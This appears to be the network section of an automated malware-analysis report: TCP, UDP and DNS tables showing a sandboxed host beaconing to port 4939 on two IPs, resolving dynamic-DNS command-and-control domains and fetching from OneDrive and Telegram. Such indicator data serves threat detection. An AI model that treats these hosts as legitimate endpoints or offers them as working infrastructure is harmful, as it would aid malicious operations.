Nov 28, 2022 20:51:50.189259052 CET	49981	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:50.209259033 CET	4939	49981	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:50.720643997 CET	49981	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:50.741276026 CET	4939	49981	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:51.251528978 CET	49981	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:51.272063971 CET	4939	49981	37.0.14.209	192.168.11.20
Nov 28, 2022 20:51:51.782699108 CET	49981	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:51:58.813815117 CET	49983	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:58.859133959 CET	4939	49983	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:59.359241009 CET	49983	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:59.405339003 CET	4939	49983	84.38.134.104	192.168.11.20
Nov 28, 2022 20:51:59.905903101 CET	49983	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:51:59.950560093 CET	4939	49983	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:00.452852964 CET	49983	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:00.498087883 CET	4939	49983	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:00.999558926 CET	49983	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:01.044056892 CET	4939	49983	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:01.046876907 CET	49984	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:01.066194057 CET	4939	49984	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:01.577883005 CET	49984	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:01.598187923 CET	4939	49984	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:02.108756065 CET	49984	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:02.130388975 CET	4939	49984	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:02.639789104 CET	49984	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:02.660701990 CET	4939	49984	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:03.170942068 CET	49984	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:03.190568924 CET	4939	49984	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:04.203255892 CET	49985	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:04.247864962 CET	4939	49985	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:04.748909950 CET	49985	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:04.794603109 CET	4939	49985	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:05.295708895 CET	49985	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:05.340713978 CET	4939	49985	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:05.842225075 CET	49985	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:05.886219978 CET	4939	49985	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:06.389147997 CET	49985	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:06.433939934 CET	4939	49985	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:06.435026884 CET	49986	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:06.455327988 CET	4939	49986	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:06.967020988 CET	49986	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:06.989202976 CET	4939	49986	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:07.498172998 CET	49986	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:07.520545959 CET	4939	49986	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:08.029432058 CET	49986	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:08.049005032 CET	4939	49986	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:08.560353994 CET	49986	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:08.580259085 CET	4939	49986	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:09.592180014 CET	49987	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:09.636945963 CET	4939	49987	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:10.138284922 CET	49987	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:10.182928085 CET	4939	49987	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:10.684941053 CET	49987	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:10.731007099 CET	4939	49987	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:11.231621981 CET	49987	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:11.277210951 CET	4939	49987	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:11.778362989 CET	49987	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:11.822705030 CET	4939	49987	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:11.823816061 CET	49988	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:11.842930079 CET	4939	49988	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:12.356344938 CET	49988	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:12.375700951 CET	4939	49988	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:12.887603998 CET	49988	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:12.911010027 CET	4939	49988	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:13.418740034 CET	49988	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:13.438882113 CET	4939	49988	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:13.949811935 CET	49988	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:13.970603943 CET	4939	49988	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:14.982013941 CET	49989	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:15.026390076 CET	4939	49989	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:15.527667999 CET	49989	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:15.571820021 CET	4939	49989	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:16.074440956 CET	49989	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:16.119091988 CET	4939	49989	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:16.621181965 CET	49989	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:16.665590048 CET	4939	49989	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:17.167922974 CET	49989	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:17.212747097 CET	4939	49989	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:17.214188099 CET	49990	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:17.234201908 CET	4939	49990	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:17.745991945 CET	49990	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:17.766140938 CET	4939	49990	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:18.276973963 CET	49990	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:18.296004057 CET	4939	49990	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:18.808154106 CET	49990	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:18.827163935 CET	4939	49990	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:19.339262009 CET	49990	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:19.360042095 CET	4939	49990	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:20.371287107 CET	49991	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:20.419763088 CET	4939	49991	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:20.933017015 CET	49991	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:20.979624987 CET	4939	49991	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:21.494993925 CET	49991	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:21.539371967 CET	4939	49991	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:22.041801929 CET	49991	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:22.085957050 CET	4939	49991	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:22.588695049 CET	49991	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:22.633627892 CET	4939	49991	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:22.634862900 CET	49992	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:22.654799938 CET	4939	49992	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:23.166631937 CET	49992	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:23.185724020 CET	4939	49992	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:23.697690964 CET	49992	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:23.716964960 CET	4939	49992	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:24.228760004 CET	49992	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:24.247685909 CET	4939	49992	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:24.759978056 CET	49992	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:24.779005051 CET	4939	49992	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:25.791861057 CET	49994	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:25.836433887 CET	4939	49994	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:26.337857962 CET	49994	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:26.383050919 CET	4939	49994	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:26.884502888 CET	49994	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:26.928812027 CET	4939	49994	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:27.431397915 CET	49994	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:27.475924969 CET	4939	49994	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:27.977987051 CET	49994	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:28.023250103 CET	4939	49994	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:28.024669886 CET	49995	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:28.046104908 CET	4939	49995	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:28.555964947 CET	49995	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:28.577270985 CET	4939	49995	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:29.087245941 CET	49995	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:29.107259989 CET	4939	49995	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:29.618218899 CET	49995	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:29.639431000 CET	4939	49995	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:30.149564028 CET	49995	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:30.172514915 CET	4939	49995	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:31.181322098 CET	49996	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:31.225945950 CET	4939	49996	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:31.727128983 CET	49996	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:31.771334887 CET	4939	49996	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:32.273960114 CET	49996	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:32.318322897 CET	4939	49996	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:32.820823908 CET	49996	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:32.865506887 CET	4939	49996	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:33.367597103 CET	49996	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:33.417861938 CET	4939	49996	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:33.419096947 CET	49997	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:33.441359043 CET	4939	49997	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:33.945519924 CET	49997	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:33.966257095 CET	4939	49997	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:34.476648092 CET	49997	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:34.498402119 CET	4939	49997	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:35.007704020 CET	49997	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:35.027754068 CET	4939	49997	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:35.538996935 CET	49997	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:35.559425116 CET	4939	49997	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:36.689615965 CET	49998	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:36.734503031 CET	4939	49998	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:37.241719007 CET	49998	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:37.286928892 CET	4939	49998	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:37.788367987 CET	49998	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:37.987147093 CET	4939	49998	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:38.491386890 CET	49998	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:38.536540985 CET	4939	49998	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:39.038115978 CET	49998	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:39.083201885 CET	4939	49998	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:39.097927094 CET	49999	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:39.118843079 CET	4939	49999	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:39.631793976 CET	49999	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:39.652595997 CET	4939	49999	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:40.163028002 CET	49999	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:40.185008049 CET	4939	49999	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:40.693953991 CET	49999	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:40.715488911 CET	4939	49999	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:41.225173950 CET	49999	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:41.244694948 CET	4939	49999	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:42.257448912 CET	50000	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:42.303037882 CET	4939	50000	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:42.818468094 CET	50000	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:42.863780022 CET	4939	50000	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:43.365375996 CET	50000	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:43.410873890 CET	4939	50000	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:43.911957979 CET	50000	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:43.956533909 CET	4939	50000	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:44.458729029 CET	50000	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:44.502857924 CET	4939	50000	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:44.503882885 CET	50001	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:44.522979021 CET	4939	50001	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:45.036701918 CET	50001	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:45.056330919 CET	4939	50001	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:45.567934990 CET	50001	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:45.589014053 CET	4939	50001	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:46.098989010 CET	50001	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:46.119967937 CET	4939	50001	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:46.630312920 CET	50001	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:53.660259962 CET	50002	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:53.704433918 CET	4939	50002	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:54.206665993 CET	50002	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:54.255801916 CET	4939	50002	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:54.768981934 CET	50002	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:54.813288927 CET	4939	50002	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:55.315830946 CET	50002	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:55.360444069 CET	4939	50002	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:55.862644911 CET	50002	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:55.907155991 CET	4939	50002	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:55.907958984 CET	50004	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:55.929827929 CET	4939	50004	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:56.440515041 CET	50004	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:56.460334063 CET	4939	50004	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:56.971597910 CET	50004	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:56.991080999 CET	4939	50004	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:57.502743006 CET	50004	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:57.524745941 CET	4939	50004	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:58.033994913 CET	50004	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:52:58.054342031 CET	4939	50004	37.0.14.209	192.168.11.20
Nov 28, 2022 20:52:59.065668106 CET	50005	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:59.110992908 CET	4939	50005	84.38.134.104	192.168.11.20
Nov 28, 2022 20:52:59.611675024 CET	50005	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:52:59.655792952 CET	4939	50005	84.38.134.104	192.168.11.20
Nov 28, 2022 20:53:00.158380032 CET	50005	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:53:00.202630043 CET	4939	50005	84.38.134.104	192.168.11.20
Nov 28, 2022 20:53:00.705197096 CET	50005	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:53:00.751000881 CET	4939	50005	84.38.134.104	192.168.11.20
Nov 28, 2022 20:53:01.251976967 CET	50005	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:53:01.300128937 CET	4939	50005	84.38.134.104	192.168.11.20
Nov 28, 2022 20:53:01.300978899 CET	50006	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:53:01.320600033 CET	4939	50006	37.0.14.209	192.168.11.20
Nov 28, 2022 20:53:01.829986095 CET	50006	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:53:01.849133015 CET	4939	50006	37.0.14.209	192.168.11.20
Nov 28, 2022 20:53:02.361202955 CET	50006	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:53:02.380754948 CET	4939	50006	37.0.14.209	192.168.11.20
Nov 28, 2022 20:53:02.892257929 CET	50006	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:53:02.911098003 CET	4939	50006	37.0.14.209	192.168.11.20
Nov 28, 2022 20:53:03.423404932 CET	50006	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:53:03.442179918 CET	4939	50006	37.0.14.209	192.168.11.20
Nov 28, 2022 20:53:04.455252886 CET	50008	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:53:04.499866009 CET	4939	50008	84.38.134.104	192.168.11.20
Nov 28, 2022 20:53:05.001172066 CET	50008	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:53:05.045531034 CET	4939	50008	84.38.134.104	192.168.11.20
Nov 28, 2022 20:53:05.548475981 CET	50008	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:53:05.592978954 CET	4939	50008	84.38.134.104	192.168.11.20
Nov 28, 2022 20:53:06.094747066 CET	50008	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:53:06.139334917 CET	4939	50008	84.38.134.104	192.168.11.20
Nov 28, 2022 20:53:06.642008066 CET	50008	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:53:06.687005997 CET	4939	50008	84.38.134.104	192.168.11.20

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2022 20:45:12.923213005 CET	54883	53	192.168.11.20	1.1.1.1
Nov 28, 2022 20:45:13.115240097 CET	53	54883	1.1.1.1	192.168.11.20
Nov 28, 2022 20:45:16.157552958 CET	59807	53	192.168.11.20	1.1.1.1
Nov 28, 2022 20:45:16.806633949 CET	55932	53	192.168.11.20	1.1.1.1
Nov 28, 2022 20:45:17.799076080 CET	52051	53	192.168.11.20	1.1.1.1
Nov 28, 2022 20:45:17.912461042 CET	53	52051	1.1.1.1	192.168.11.20
Nov 28, 2022 20:45:20.153374910 CET	60739	53	192.168.11.20	1.1.1.1
Nov 28, 2022 20:45:20.169534922 CET	53	60739	1.1.1.1	192.168.11.20
Nov 28, 2022 20:46:20.001605988 CET	61065	53	192.168.11.20	1.1.1.1
Nov 28, 2022 20:46:20.117671967 CET	53	61065	1.1.1.1	192.168.11.20
Nov 28, 2022 20:46:22.374329090 CET	49583	53	192.168.11.20	1.1.1.1
Nov 28, 2022 20:46:22.390732050 CET	53	49583	1.1.1.1	192.168.11.20
Nov 28, 2022 20:47:05.561343908 CET	61824	53	192.168.11.20	1.1.1.1
Nov 28, 2022 20:47:06.608068943 CET	56389	53	192.168.11.20	1.1.1.1
Nov 28, 2022 20:47:23.534564972 CET	61929	53	192.168.11.20	1.1.1.1
Nov 28, 2022 20:47:23.645587921 CET	53	61929	1.1.1.1	192.168.11.20
Nov 28, 2022 20:47:25.891343117 CET	51291	53	192.168.11.20	1.1.1.1
Nov 28, 2022 20:47:25.907448053 CET	53	51291	1.1.1.1	192.168.11.20
Nov 28, 2022 20:47:47.203263998 CET	55362	53	192.168.11.20	1.1.1.1
Nov 28, 2022 20:47:47.212587118 CET	53	55362	1.1.1.1	192.168.11.20
Nov 28, 2022 20:48:28.473647118 CET	49495	53	192.168.11.20	1.1.1.1
Nov 28, 2022 20:48:28.608522892 CET	53	49495	1.1.1.1	192.168.11.20
Nov 28, 2022 20:48:30.845830917 CET	54032	53	192.168.11.20	1.1.1.1
Nov 28, 2022 20:48:30.866609097 CET	53	54032	1.1.1.1	192.168.11.20
Nov 28, 2022 20:49:33.397072077 CET	59515	53	192.168.11.20	1.1.1.1
Nov 28, 2022 20:49:33.510668039 CET	53	59515	1.1.1.1	192.168.11.20
Nov 28, 2022 20:49:35.754528999 CET	53171	53	192.168.11.20	1.1.1.1
Nov 28, 2022 20:49:35.766369104 CET	53	53171	1.1.1.1	192.168.11.20
Nov 28, 2022 20:50:36.851831913 CET	50369	53	192.168.11.20	1.1.1.1
Nov 28, 2022 20:50:36.982223034 CET	53	50369	1.1.1.1	192.168.11.20
Nov 28, 2022 20:50:39.225626945 CET	50320	53	192.168.11.20	1.1.1.1
Nov 28, 2022 20:50:39.238917112 CET	53	50320	1.1.1.1	192.168.11.20
Nov 28, 2022 20:51:36.489748001 CET	64808	53	192.168.11.20	1.1.1.1
Nov 28, 2022 20:51:36.603502989 CET	53	64808	1.1.1.1	192.168.11.20
Nov 28, 2022 20:51:38.846743107 CET	63192	53	192.168.11.20	1.1.1.1
Nov 28, 2022 20:51:38.862339020 CET	53	63192	1.1.1.1	192.168.11.20
Nov 28, 2022 20:52:36.570648909 CET	54569	53	192.168.11.20	1.1.1.1
Nov 28, 2022 20:52:36.688539982 CET	53	54569	1.1.1.1	192.168.11.20
Nov 28, 2022 20:52:39.084089041 CET	60195	53	192.168.11.20	1.1.1.1
Nov 28, 2022 20:52:39.096400976 CET	53	60195	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 28, 2022 20:45:12.923213005 CET	192.168.11.20	1.1.1.1	0x74b7	Standard query (0)	sinopbisikletkiralama.com	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:45:16.157552958 CET	192.168.11.20	1.1.1.1	0xd31d	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:45:16.806633949 CET	192.168.11.20	1.1.1.1	0xb0bd	Standard query (0)	f65kcg.am.files.1drv.com	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:45:17.799076080 CET	192.168.11.20	1.1.1.1	0xddb9	Standard query (0)	backupfrontmanny.duckdns.org	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:45:20.153374910 CET	192.168.11.20	1.1.1.1	0xf365	Standard query (0)	myfrontmannyfive.ddns.net	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:46:20.001605988 CET	192.168.11.20	1.1.1.1	0xf425	Standard query (0)	backupfrontmanny.duckdns.org	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:46:22.374329090 CET	192.168.11.20	1.1.1.1	0x6a53	Standard query (0)	myfrontmannyfive.ddns.net	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:47:05.561343908 CET	192.168.11.20	1.1.1.1	0xfa4b	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:47:06.608068943 CET	192.168.11.20	1.1.1.1	0x5011	Standard query (0)	f64nqg.am.files.1drv.com	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:47:23.534564972 CET	192.168.11.20	1.1.1.1	0xe2f0	Standard query (0)	backupfrontmanny.duckdns.org	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:47:25.891343117 CET	192.168.11.20	1.1.1.1	0xa39d	Standard query (0)	myfrontmannyfive.ddns.net	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:47:47.203263998 CET	192.168.11.20	1.1.1.1	0x54dc	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:48:28.473647118 CET	192.168.11.20	1.1.1.1	0xbbf9	Standard query (0)	backupfrontmanny.duckdns.org	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:48:30.845830917 CET	192.168.11.20	1.1.1.1	0xdc6b	Standard query (0)	myfrontmannyfive.ddns.net	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:49:33.397072077 CET	192.168.11.20	1.1.1.1	0xa92e	Standard query (0)	backupfrontmanny.duckdns.org	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:49:35.754528999 CET	192.168.11.20	1.1.1.1	0x66f3	Standard query (0)	myfrontmannyfive.ddns.net	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:50:36.851831913 CET	192.168.11.20	1.1.1.1	0x912a	Standard query (0)	backupfrontmanny.duckdns.org	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:50:39.225626945 CET	192.168.11.20	1.1.1.1	0x2109	Standard query (0)	myfrontmannyfive.ddns.net	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:51:36.489748001 CET	192.168.11.20	1.1.1.1	0x8d94	Standard query (0)	backupfrontmanny.duckdns.org	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:51:38.846743107 CET	192.168.11.20	1.1.1.1	0xd5da	Standard query (0)	myfrontmannyfive.ddns.net	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:52:36.570648909 CET	192.168.11.20	1.1.1.1	0x4d71	Standard query (0)	backupfrontmanny.duckdns.org	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:52:39.084089041 CET	192.168.11.20	1.1.1.1	0x7cbe	Standard query (0)	myfrontmannyfive.ddns.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 28, 2022 20:45:13.115240097 CET	1.1.1.1	192.168.11.20	0x74b7	No error (0)	sinopbisikletkiralama.com		172.67.169.218	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:45:13.115240097 CET	1.1.1.1	192.168.11.20	0x74b7	No error (0)	sinopbisikletkiralama.com		104.21.95.74	A (IP address)	IN (0x0001)	false
Nov 28, 2022 20:45:16.167279005 CET	1.1.1.1	192.168.11.20	0xd31d	No error (0)	onedrive.live.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2022 20:45:16.870518923 CET	1.1.1.1	192.168.11.20	0xb0bd	No error (0)	f65kcg.am.files.1drv.com	am-files.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2022 20:45:16.870518923 CET	1.1.1.1	192.168.11.20	0xb0bd	No error (0)	am-files.fe.1drv.com	odc-am-files-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
